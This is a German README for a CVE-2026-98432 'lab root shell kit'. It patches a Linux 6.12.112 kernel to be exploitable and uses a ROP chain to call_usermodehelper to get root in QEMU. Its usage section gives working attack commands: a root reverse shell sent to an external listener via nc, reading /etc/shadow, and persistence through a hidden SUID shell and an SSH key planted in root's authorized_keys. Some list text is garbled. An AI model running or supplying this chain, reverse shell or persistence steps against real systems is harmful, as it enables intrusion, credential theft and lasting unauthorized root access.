
CVE-2026-98432 Lab-Root-Shell-Kit (unterstützt den Kernel; kein Standard-Remote-Exploit)
Dieses Kit baut einen absichtlich verwundbaren Linux-6.12.112-Kernel mit einer kleinen Exploitability-Hilfe und verwandelt den CVE-2026-98432-Pfad in eine interaktive Root- Shell auf der QEMU-Konsole.
Es ist eine Lab-Hilfe, kein fertiger Remote-Exploit. Die echten CVE-Codepfade werden verwendet:
ip_options_rcu erreicht ip_options_build() über den
Retransmitted-SYN-ACK-Pfad;skb_shared_info des SYN-ACK wird korrumpiert;skb_release_data() ruft den gefälschten ubuf_info->ops->complete-Callback auf;call_usermodehelper("/bin/sh", ...) auf.Die Hilfe besteht aus dem erzwungenen Free/gefälschten Objekt und der vorbereiteten Callback/ROP-Chain. Bei einem unveränderten verwundbaren Kernel ist das fehlende Stück die zuverlässige Same-Slab/Same-CPU-Reclaim- und Payload-Staging-Primitive; sie ist nicht veröffentlicht. Siehe „Status des unveränderten Kernels" unten.
/dev/kvm) dringend empfohlen; TCG funktioniert, ist aber langsamsudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
Der erste Build lädt Linux 6.12.112 herunter, macht die beiden kfree_rcu()-Aufrufe rückgängig, wendet die Hilfe an, baut bzImage, löst Symbole/Gadgets aus dem gepatchten vmlinux auf, baut erneut, packt ein initramfs und startet QEMU mit nokaslr.
Wenn KVM nicht verfügbar ist:
QEMU_ACCEL=tcg ./build.sh
(Das Skript fällt derzeit automatisch auf TCG zurück, wenn /dev/kvm nicht
beschreibbar ist; die Variable QEMU_ACCEL wird aus Kompatibilitätsgründen akzeptiert.)
In einem zweiten Terminal auf dem Host:
python3 trigger.py 127.0.0.1 9000
Das Gast-Init erstellte /tmp/cve98432_root.sh mit einer Konsolen-Shell
(sh -i </dev/console). Eine einzelne TCP-Verbindung zum Gast-Listener ist
ausreichend. Die Gast-Konsole sollte in etwa Folgendes anzeigen:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
Kopieren Sie root_shell.py auf das Ziel (das bereits den aid-Kernel bootet) und
führen Sie es als den Benutzer aus, den Sie haben:
python3 root_shell.py
Es schreibt /tmp/cve98432_root.sh mit einer Root-Reverse-Shell-Payload, startet
zwei Loopback-Listener (9000 für den Trigger, 4444 für die Shell), löst
das aid aus und überbrückt die Root-Shell zu deinem Terminal:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
Nützliche Optionen:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
Die Aid-Kette ruft machine_power_off() erst auf, nachdem der Root-Befehl beendet wurde.
Wenn der Root-Befehl nie beendet wird, wartet der Kernel in call_usermodehelper()
und der Host bleibt oben. Das ermöglicht es dir, einen persistenten Root-Pfad zu erstellen:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
oder fügen Sie einen SSH-Schlüssel hinzu und halten Sie den Helper aktiv:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
Der sleep hält den Usermode-Helper (und damit die Kernel-Kette) am Leben,
sodass das Ziel nicht herunterfährt. Verwenden Sie /var/tmp oder /root, nicht /tmp,
wenn /tmp mit noexec/nosuid eingebunden ist. Wenn der Sleep endet, wird die Kette
fortgesetzt und fährt den Host herunter; beenden Sie den Sleep-Prozess als root, wenn Sie
das steuern möchten.
Die Payload-Datei wird mit 0700 und O_EXCL|O_NOFOLLOW erstellt und wird
nach der Verwendung entfernt, sofern nicht --keep-payload angegeben wurde. Wenn Sie die Root-
Shell verlassen, ruft die Aid-Kette machine_power_off() auf. Verwenden Sie eine Wegwerf-VM oder
bearbeiten Sie AID_POWEROFF in aid_patch.py, wenn der Host weiterlaufen soll.
Die Kette führt aus:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
Das Skript wird also immer als root ausgeführt.
| Bestandteil | Status |
|---|---|
gefälschte ip_options_rcu + ip_options_build() | CVE-Pfad, aber die Allokation wird durch das Hilfsmittel erzwungen |
skb_shared_info-Korruption | Das Hilfsmittel setzt die Felder direkt in tcp_v4_send_synack() |
destructor_arg-Callback-Hijacking | echter nachgelagerter Teardown-Pfad |
ROP-Pivot + call_usermodehelper() | echte Kernel-Control-Flow-Übernahme, durch das Hilfsmittel vorbereitet |
nokaslr-Boot | Laborvereinfachung; kein KASLR-Leak erforderlich |
Die veröffentlichte unabhängige Forschung, der dieses Kit folgt, erreichte denselben Punkt mit einem instrumentierten Kernel: echter OOB-Write und Callback-Pfad, unterstütztes Free/Reclaim und Payload-Staging. Eine weaponisierte Kette für einen Standard-Kernel ist Stand 2026-11-02 nicht öffentlich verfügbar.
Das Hilfsmittel verwendet absolute Kernel-Adressen, da der Gast mit
nokaslr bootet. Die Werte in aid_patch.py sind Standardwerte aus dem veröffentlichten
6.12.112-Lab-Build. resolve.py liest das gepatchte vmlinux und
System.map und schreibt symbols.json; build.sh aktualisiert dann die Defines
und baut neu.
Wenn resolve.py ein Gadget nicht finden kann (ROPgadget fehlt oder ist unvollständig),
installieren Sie es und führen Sie es erneut aus:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
Das Pivot-Gadget muss dem Chain-Layout in aid_patch.py entsprechen: ein
lea -0x18(%rbp), %rsp plus vier Pops und ein ret/jmp. Wenn dein Build
einen anderen Pivot hat, passe SEND_BLOCK in aid_patch.py an oder wähle ein
passendes Gadget.
Ein unveränderter, verwundbarer Kernel verfügt über keine zuverlässige, öffentliche, unbeaufsichtigte Root-Chain. Die Hindernisse sind: